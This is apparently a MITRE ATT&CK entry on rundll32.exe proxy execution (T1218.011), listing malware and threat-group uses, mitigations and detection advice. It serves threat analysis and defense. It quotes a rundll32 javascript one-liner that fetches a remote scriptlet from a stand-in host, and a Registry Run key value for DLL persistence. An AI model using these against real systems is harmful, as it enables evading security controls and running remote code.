Signed Binary Proxy Execution: Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. [1]

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. [2]

ID: T1218.011
Sub-technique of:  T1218
Tactic: Defense Evasion
Platforms: Windows
Permissions Required: User
Data Sources: DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Defense Bypassed: Anti-virus, Application control, Digital Certificate Validation
Contributors: Casey Smith; Ricardo Dias
Version: 1.0
Created: 23 January 2020
Last Modified: 20 June 2020

Procedure Examples

Name Description
ADVSTORESHELL

ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence.[3]

APT19

APT19 configured its payload to inject into the rundll32.exe.[4]

APT28

APT28 executed CHOPSTICK by using rundll32 commands such as rundll32.exe "C:\Windows\twain_64.dll". APT28 also executed a .dll for a first stage dropper using rundll32.exe. An APT28 loader Trojan saved a batch script that uses rundll32 to execute a DLL payload.[5][3][6][7][8]

APT29

APT29 has used rundll32.exe for execution.[9]

APT3

APT3 has a tool that can run DLLs.[10]

APT32

APT32 malware has used rundll32.exe to execute an initial infection process.[11]

Attor

Attor's installer plugin can schedule rundll32.exe to load the dispatcher.[12]

Bisonal

Bisonal uses rundll32.exe to execute as part of the Registry Run key it adds: HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\"vert" = "rundll32.exe c:\windows\temp\pvcu.dll , Qszdez".[13]

Blue Mockingbird

Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using rundll32.exe.[14]

Briba

Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs.[15]

Carbanak

Carbanak installs VNC server software that executes through rundll32.[16]

Comnie

Comnie uses Rundll32 to load a malicious DLL.[17]

CopyKittens

CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.[18]

CORESHELL

CORESHELL is installed via execution of rundll32 with an export named "init" or "InitW."[19]

CozyCar

The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component.[20]

DDKONG

DDKONG uses Rundll32 to ensure only a single instance of itself is running at once.[21]

Elise

After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe.[22]

Emissary

Variants of Emissary have used rundll32.exe in Registry values added to establish persistence.[23]

FatDuke

FatDuke can execute via rundll32.[24]

FELIXROOT

FELIXROOT uses Rundll32 for executing the dropper program.[25][26]

Flame

Rundll32.exe is used as a way of executing Flame at the command-line.[27]

Gamaredon Group

Gamaredon Group malware has used rundll32 to launch additional malicious components.[28]

gh0st RAT

A gh0st RAT variant has used rundll32 for execution.[29]

GreyEnergy

GreyEnergy uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\SYSTEM).[26]

InvisiMole

InvisiMole has used rundll32.exe for execution.[30]

JHUHUGIT

JHUHUGIT is executed using rundll32.exe.[31][32]

Koadic

Koadic can use Rundll32 to execute additional payloads.[33]

KONNI

KONNI has used Rundll32 to execute its loader for privilege escalation purposes.[34]

Kwampirs

Kwampirs uses rundll32.exe in a Registry value added to establish persistence.[35]

Matroyshka

Matroyshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.[36]

Mosquito

Mosquito's launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.[37]

MuddyWater

MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.[38]

NOKKI

NOKKI has used rundll32 for execution.[39]

NotPetya

NotPetya uses rundll32.exe to install itself on remote systems when accessed via PsExec or wmic.[40]

PolyglotDuke

PolyglotDuke can be executed using rundll32.exe.[24]

PowerDuke

PowerDuke uses rundll32.exe to load.[41]

Prikormka

Prikormka uses rundll32.exe to load its DLL.[42]

Pteranodon

Pteranodon executes functions using rundll32.exe.[43]

PUNCHBUGGY

PUNCHBUGGY can load a DLL using Rundll32.[44]

Ragnar Locker

Ragnar Locker has used rundll32.exe to execute components of VirtualBox.[45]

RTM

RTM runs its core DLL file using rundll32.exe.[46][47]

Sakula

Sakula calls cmd.exe to run various DLL files via rundll32.[48]

Sandworm Team

Sandworm Team used a backdoor which could execute a supplied DLL using rundll32.exe.[49]

ServHelper

ServHelper contains a module for downloading and executing DLLs that leverages rundll32.exe.[50]

StreamEx

StreamEx uses rundll32 to call an exported function.[51]

TA505

TA505 has leveraged rundll32.exe to execute malicious DLLs.[52][50]

USBferry

USBferry can execute rundll32.exe in memory to avoid detection.[53]

Winnti for Windows

The Winnti for Windows installer loads a DLL using rundll32.[54]

ZxShell

ZxShell has used rundll32.exe to execute other DLLs and named pipes.[55]

Mitigations

Mitigation Description
Exploit Protection

Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.

Detection

Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.

References

  1. Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.
  2. B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.
  3. Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.
  4. Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.
  5. Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.
  6. Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.
  7. Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.
  8. ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.
  9. Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.
  10. Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.
  11. Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.
  12. Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.
  13. Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.
  14. Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.
  15. Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.
  16. Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.
  17. Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.
  18. ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.
  19. Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.
  20. F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.
  21. Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.
  22. Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.
  23. Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.
  24. Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.
  25. Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.
  26. Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.
  27. sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018.
  28. Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.
  1. Sabo, S. (2018, February 15). Musical Chairs Playing Tetris. Retrieved February 19, 2018.
  2. Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.
  3. F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.
  4. Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.
  5. Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.
  6. Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020.
  7. Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.
  8. Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.
  9. ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.
  10. Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.
  11. Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.
  12. Chiu, A. (2016, June 27). New Ransomware Variant "Nyetya" Compromises Systems Worldwide. Retrieved March 26, 2019.
  13. Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.
  14. Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.
  15. Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.
  16. Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.
  17. SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.
  18. Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.
  19. Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.
  20. Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.
  21. Cherepanov, A.. (2017, July 4). Analysis of TeleBots’ cunning backdoor . Retrieved June 11, 2020.
  22. Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved May 28, 2019.
  23. Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.
  24. Salem, E. (2019, April 25). Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware. Retrieved May 28, 2019.
  25. Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.
  26. Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.
  27. Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.